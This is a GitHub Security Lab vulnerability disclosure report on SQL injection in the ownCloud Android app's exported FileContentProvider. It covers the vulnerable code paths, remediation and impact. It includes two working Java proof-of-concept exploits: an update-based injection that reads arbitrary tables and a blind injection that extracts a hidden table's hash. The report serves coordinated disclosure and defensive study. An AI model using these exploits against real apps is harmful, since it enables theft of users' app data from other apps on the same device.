AtorralbaH1:1650264ownCloud: GitHub Security Lab (GHSL) Vulnerability Report: SQLInjection in FileContentProvider.kt (GHSL-2022-059)
The GitHub Security Lab team has identified potential security vulnerabilities in Owncloud Android app.
We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.
If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at [email protected] (please include GHSL-2022-059 or GHSL-2022-060 as a reference).
If you are NOT the correct point of contact for this report, please let us know!
Summary
The Owncloud Android app uses content providers to manage its data. The provider FileContentProvider has SQL injection vulnerabilities that allows malicious applications or users in the same device to obtain internal information of the app.
Details
The FileContentProvider provider is exported, as can be seen in the Android Manifest:
<provider
android:name=".providers.FileContentProvider"
android:authorities="@string/authority"
android:enabled="true"
android:exported="true"
android:label="@string/sync_string_files"
android:syncable="true" />
All tables in this content provider can be freely interacted with by other apps in the same device. By reviewing the entry-points of the content provider for those tables, it can be seen that several parameters containing user input end up reaching an unsafe SQL method that allows for SQL injection.
The delete method
User input enters the content provider through the three parameters of this method:
override fun delete(uri: Uri, where: String?, whereArgs: Array<String>?): Int {
The where parameter reaches the following dangerous arguments without sanitization:
private fun delete(db: SQLiteDatabase, uri: Uri, where: String?, whereArgs: Array<String>?): Int {
// --snip--
when (uriMatcher.match(uri)) {
SINGLE_FILE -> {
// --snip--
count = db.delete(
ProviderTableMeta.FILE_TABLE_NAME,
ProviderTableMeta._ID +
"=" +
uri.pathSegments[1] +
if (!TextUtils.isEmpty(where))
" AND ($where)" // injection
else
"", whereArgs
)
}
DIRECTORY -> {
// --snip--
count += db.delete(
ProviderTableMeta.FILE_TABLE_NAME,
ProviderTableMeta._ID + "=" +
uri.pathSegments[1] +
if (!TextUtils.isEmpty(where))
" AND ($where)" // injection
else
"", whereArgs
)
}
ROOT_DIRECTORY ->
count = db.delete(ProviderTableMeta.FILE_TABLE_NAME, where, whereArgs) // injection
SHARES -> count =
OwncloudDatabase.getDatabase(MainApp.appContext).shareDao().deleteShare(uri.pathSegments[1])
CAPABILITIES -> count = db.delete(ProviderTableMeta.CAPABILITIES_TABLE_NAME, where, whereArgs) // injection
UPLOADS -> count = db.delete(ProviderTableMeta.UPLOADS_TABLE_NAME, where, whereArgs) // injection
CAMERA_UPLOADS_SYNC -> count = db.delete(ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, where, whereArgs) // injection
QUOTAS -> count = db.delete(ProviderTableMeta.USER_QUOTAS_TABLE_NAME, where, whereArgs) // injection
// --snip--
}
// --snip--
}
The insert method
User input enters the content provider through the two parameters of this method:
override fun insert(uri: Uri, values: ContentValues?): Uri? {
The values parameter reaches the following dangerous arguments without sanitization:
private fun insert(db: SQLiteDatabase, uri: Uri, values: ContentValues?): Uri {
when (uriMatcher.match(uri)) {
ROOT_DIRECTORY, SINGLE_FILE -> {
// --snip--
return if (!doubleCheck.moveToFirst()) {
// --snip--
val fileId = db.insert(ProviderTableMeta.FILE_TABLE_NAME, null, values) // injection
// --snip--
}
// --snip--
}
// --snip--
CAPABILITIES -> {
val capabilityId = db.insert(ProviderTableMeta.CAPABILITIES_TABLE_NAME, null, values) // injection
// --snip--
}
UPLOADS -> {
val uploadId = db.insert(ProviderTableMeta.UPLOADS_TABLE_NAME, null, values) // injection
// --snip--
}
CAMERA_UPLOADS_SYNC -> {
val cameraUploadId = db.insert(
ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, null,
values // injection
)
// --snip--
}
QUOTAS -> {
val quotaId = db.insert(
ProviderTableMeta.USER_QUOTAS_TABLE_NAME, null,
values // injection
)
// --snip--
}
// --snip--
}
}
The query method
User input enters the content provider through the five parameters of this method:
override fun query(
uri: Uri,
projection: Array<String>?,
selection: String?,
selectionArgs: Array<String>?,
sortOrder: String?
): Cursor {
The selection and sortOrder parameters reach the following dangerous arguments without sanitization (note that projection is safe because of the use of a projection map):
SHARES -> {
val supportSqlQuery = SupportSQLiteQueryBuilder
.builder(ProviderTableMeta.OCSHARES_TABLE_NAME)
.columns(computeProjection(projection))
.selection(selection, selectionArgs) // injection
.orderBy(
if (TextUtils.isEmpty(sortOrder)) {
sortOrder // injection
} else {
ProviderTableMeta.OCSHARES_DEFAULT_SORT_ORDER
}
).create()
// To use full SQL queries within Room
val newDb: SupportSQLiteDatabase =
OwncloudDatabase.getDatabase(MainApp.appContext).openHelper.writableDatabase
return newDb.query(supportSqlQuery)
}
val c = sqlQuery.query(db, projection, selection, selectionArgs, null, null, order)
The update method
User input enters the content provider through the four parameters of this method:
override fun update(uri: Uri, values: ContentValues?, selection: String?, selectionArgs: Array<String>?): Int {
The values and selection parameters reach the following dangerous arguments without sanitization:
private fun update(
db: SQLiteDatabase,
uri: Uri,
values: ContentValues?,
selection: String?,
selectionArgs: Array<String>?
): Int {
if (selection != null && selectionArgs == null) {
throw IllegalArgumentException("Selection not allowed, use parameterized queries")
}
when (uriMatcher.match(uri)) {
DIRECTORY -> return 0 //updateFolderSize(db, selectionArgs[0]);
SHARES -> return values?.let {
OwncloudDatabase.getDatabase(context!!).shareDao()
.update(OCShareEntity.fromContentValues(it)).toInt()
} ?: 0
CAPABILITIES -> return db.update(ProviderTableMeta.CAPABILITIES_TABLE_NAME, values, selection, selectionArgs) // injection
UPLOADS -> {
val ret = db.update(ProviderTableMeta.UPLOADS_TABLE_NAME, values, selection, selectionArgs) // injection
trimSuccessfulUploads(db)
return ret
}
CAMERA_UPLOADS_SYNC -> return db.update(ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, values, selection, selectionArgs) // injection
QUOTAS -> return db.update(ProviderTableMeta.USER_QUOTAS_TABLE_NAME, values, selection, selectionArgs) // injection
else -> return db.update(
ProviderTableMeta.FILE_TABLE_NAME, values, selection, selectionArgs // injection
)
}
}
Remediation
Consider these suggestions: https://developer.android.com/guide/topics/providers/content-provider-basics#Injection.
In general, any user input, including the parameters of the exposed methods of the ContentProvider interface, should be considered potentially malicious. As such, make sure that they are correctly validated and/or sanitized before using them in SQL statements or calls. This includes the keys in ContentValues objects, since those are used as column names in insert and update calls.
Also, if a content provider does not need to be exported, it is best to set its exported attribute to false so that other applications are not able to access it.
Resources
SQL injection in filelist
The following PoC demonstrates how a malicious application with no special permissions could extract information from any table in the filelist database exploiting the issues mentioned above:
package com.example.test;
import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.util.Log;
public class OwncloudProviderExploit {
public static String exploit(Context ctx, String columnName, String tableName) throws Exception {
Uri result = ctx.getContentResolver().insert(Uri.parse("content://org.owncloud/file"), newOwncloudFile());
ContentValues updateValues = new ContentValues();
updateValues.put("etag=?,path=(SELECT GROUP_CONCAT(" + columnName + ",'\n') " +
"FROM " + tableName + ") " +
"WHERE _id=" + result.getLastPathSegment() + "-- -", "a");
Log.e("test", "" + ctx.getContentResolver().update(
result, updateValues, null, null));
String query = query(ctx, new String[]{"path"},
"_id=?", new String[]{result.getLastPathSegment()});
deleteFile(ctx, result.getLastPathSegment());
return query;
}
public static String query(Context ctx, String[] projection, String selection, String[] selectionArgs) throws Exception {
try (Cursor mCursor = ctx.getContentResolver().query(Uri.parse("content://org.owncloud/file"),
projection,
selection,
selectionArgs,
null)) {
if (mCursor == null) {
Log.e("evil", "mCursor is null");
return "0";
}
StringBuilder output = new StringBuilder();
while (mCursor.moveToNext()) {
for (int i = 0; i < mCursor.getColumnCount(); i++) {
String column = mCursor.getColumnName(i);
String value = mCursor.getString(i);
output.append("|").append(column).append(":").append(value);
}
output.append("\n");
}
return output.toString();
}
}
private static ContentValues newOwncloudFile() throws Exception {
ContentValues values = new ContentValues();
values.put("parent", "a");
values.put("filename", "a");
values.put("created", "a");
values.put("modified", "a");
values.put("modified_at_last_sync_for_data", "a");
values.put("content_length", "a");
values.put("content_type", "a");
values.put("media_path", "a");
values.put("path", "a");
values.put("file_owner", "a");
values.put("last_sync_date", "a");
values.put("last_sync_date_for_data", "a");
values.put("etag", "a");
values.put("share_by_link", "a");
values.put("shared_via_users", "a");
values.put("permissions", "a");
values.put("remote_id", "a");
values.put("update_thumbnail", "a");
values.put("is_downloading", "a");
values.put("etag_in_conflict", "a");
return values;
}
public static String deleteFile(Context ctx, String id) throws Exception {
ctx.getContentResolver().delete(
Uri.parse("content://org.owncloud/file/" + id),
null,
null
);
return "1";
}
}
By providing a columnName and tableName to the exploit function, the attacker takes advantage of the issues explained above to:
- Create a new file entry in
FileContentProvider. - Exploit the SQL Injection in the
updatemethod to set thepathof the recently created file to the values ofcolumnNamein the tabletableName. - Query the
pathof the modified file entry to obtain the desired values. - Delete the file entry.
For instance, exploit(context, "name", "SQLITE_MASTER WHERE type="table") would return all the tables in the filelist database.
Blind SQL injection in owncloud_database
The following PoC demonstrates how a malicious application with no special permissions could extract information from any table in the owncloud_database database exploiting the issues mentioned above using a Blind SQL injection technique:
package com.example.test;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.util.Log;
public class OwncloudProviderExploit {
public static String blindExploit(Context ctx) {
String output = "";
String chars = "abcdefghijklmopqrstuvwxyz0123456789";
while (true) {
int outputLength = output.length();
for (int i = 0; i < chars.length(); i++) {
char candidate = chars.charAt(i);
String attempt = String.format("%s%c%s", output, candidate, "%");
try (Cursor mCursor = ctx.getContentResolver().query(
Uri.parse("content://org.owncloud/shares"),
null,
"'a'=? AND (SELECT identity_hash FROM room_master_table) LIKE '" + attempt + "'",
new String[]{"a"}, null)) {
if (mCursor == null) {
Log.e("ProviderHelper", "mCursor is null");
return "0";
}
if (mCursor.getCount() > 0) {
output += candidate;
Log.i("evil", output);
break;
}
}
}
if (output.length() == outputLength)
break;
}
return output;
}
}
GitHub Security Advisories
We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.
Credit
These issues were discovered and reported by the CodeQL team member @atorralba (Tony Torralba).
Contact
You can contact the GHSL team at [email protected], please include a reference to GHSL-2022-059 or GHSL-2022-060 in any communication regarding these issues.
Disclosure Policy
This report is subject to our coordinated disclosure policy.
Impact
There are two databases affected by this vulnerability: filelist and owncloud_database.
Since the tables in filelist are affected by the injections in the insert and update methods, an attacker can use those to insert a crafted row in any table of the database containing data queried from other tables. After that, the attacker only needs to query the crafted row to obtain the information (see the Resources section for a PoC). Despite that, currently all tables are legitimately exposed through the content provider itself, so the injections cannot be exploited to obtain any extra data. Nonetheless, if new tables were added in the future that were not accessible through the content provider, those could be accessed using these vulnerabilities.
Regarding the tables in owncloud_database, there are two that are not accessible through the content provider: room_master_table and folder_backup. An attacker can exploit the vulnerability in the query method to exfiltrate data from those. Since the strictMode is enabled in the query method, the attacker needs to use a Blind SQL injection attack to succeed (see the Resources section for a PoC).
In both cases, the impact is information disclosure. Take into account that the tables exposed in the content provider (most of them) are arbitrarily modifiable by third party apps without exploiting any vulnerability, since the FileContentProvider is exported and does not require any permissions.